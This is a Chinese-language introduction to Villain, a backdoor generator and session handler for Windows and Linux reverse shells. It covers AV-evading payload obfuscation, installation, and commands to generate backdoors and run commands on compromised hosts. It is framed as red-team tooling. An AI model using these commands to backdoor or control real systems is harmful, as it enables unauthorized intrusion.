关于Villain
Villain是一款针对Windows和Linux操作系统设计和开发的后门生成与多会话处理工具,该工具允许广大研究人员与兄弟服务器或其他运行了Villain的设备进行连接,并共享他们的后门会话,以方便广大研究人员和团队之间的协同工作。
Villain生成Payload所采用的机制基于HoaxShell实现,也可以说Villain在这方面是HoaxShell的一个升级版本。
工具特性
1、Villain包含了一个内置的针对Windows平台的Payload自动混淆功能,旨在帮助广大研究人员绕过AV解决方案;
2、该工具生成的每一个Payload只能使用一次,已使用过的Payload不能重新用于会话建立;
3、兄弟服务器之间的通信是AES加密的,使用接收方兄弟服务器的ID作为加密密钥,本地服务器的ID的16个第一字节作为IV。在两个兄弟服务器的初始连接握手期间,每个服务器的ID都是明文交换的,这意味着握手可以被捕获并用于解密兄弟服务器间的通信。我知道这样很“弱”,因为该工具设计用于渗透测试/红色团队评估期间,对此加密模式应该足够了;
4、相互连接的Villain实例(兄弟服务器)也必须能够直接到达彼此。我打算添加一个网络路由映射实用程序,以便兄弟服务器可以将彼此用作代理,以实现它们之间的跨网络通信;
工具运行机制
下图显示的是HTTP(S)反向Shell的运行机制:
工具安装
由于该工具基于Python 3开发,因此广大研究人员首先需要在本地设备上安装并配置好Python 3环境。接下来,使用下列命令将该项目源码克隆至本地:
git clone https://github.com/t3l3machus/Villain
然后切换到项目目录下,并使用pip命令和项目提供的requirements.txt来安装该工具所需的其他依赖组件:
cd ./Villain pip3 install -r requirements.txt
工具使用
生成后门Payload
我们可以使用generate命令来生成针对Windows或Linux设备的后门Payload:
generate os=<OS Type> lhost=<IP or INTERFACE> [ exec_outfile=<REMOTE PATH> domain=<DOMAIN>] [ obfuscate encode constraint_mode ]
支持的后门Payload类型如下:
Windows:PowerShell
Linux:Bash
使用样例:
# For Windows: Villain > generate os=windows lhost=eth0 obfuscate Villain > generate os=windows lhost=192.168.12.36 exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1" encode # For Linux: Villain > generate os=linux lhost=192.168.12.62
连接兄弟服务器
我们可以使用connect命令连接运行了Villain的设备并共享后门会话:
connect <IP> <CORE SERVER PORT>
Shell命令
我们可以使用shell命令来针对一个会话开启交互式HoaxShell:
shell <SESSION ID or ALIAS>
exec命令
exec命令可以针对一个会话在文件系统中执行引用的命令或脚本:
exec </path/to/local/file> <SESSION ID or ALIAS> exec 'net user;Get-Date' <SESSION ID or ALIAS>
工具运行截图
视频演示
视频地址1:【点我观看】
视频地址2:【点我观看】
许可证协议
本项目的开发与发布遵循CC知识共享许可协议。
项目地址
Villain:【GitHub传送门】
参考资料
https://github.com/t3l3machus/hoaxshell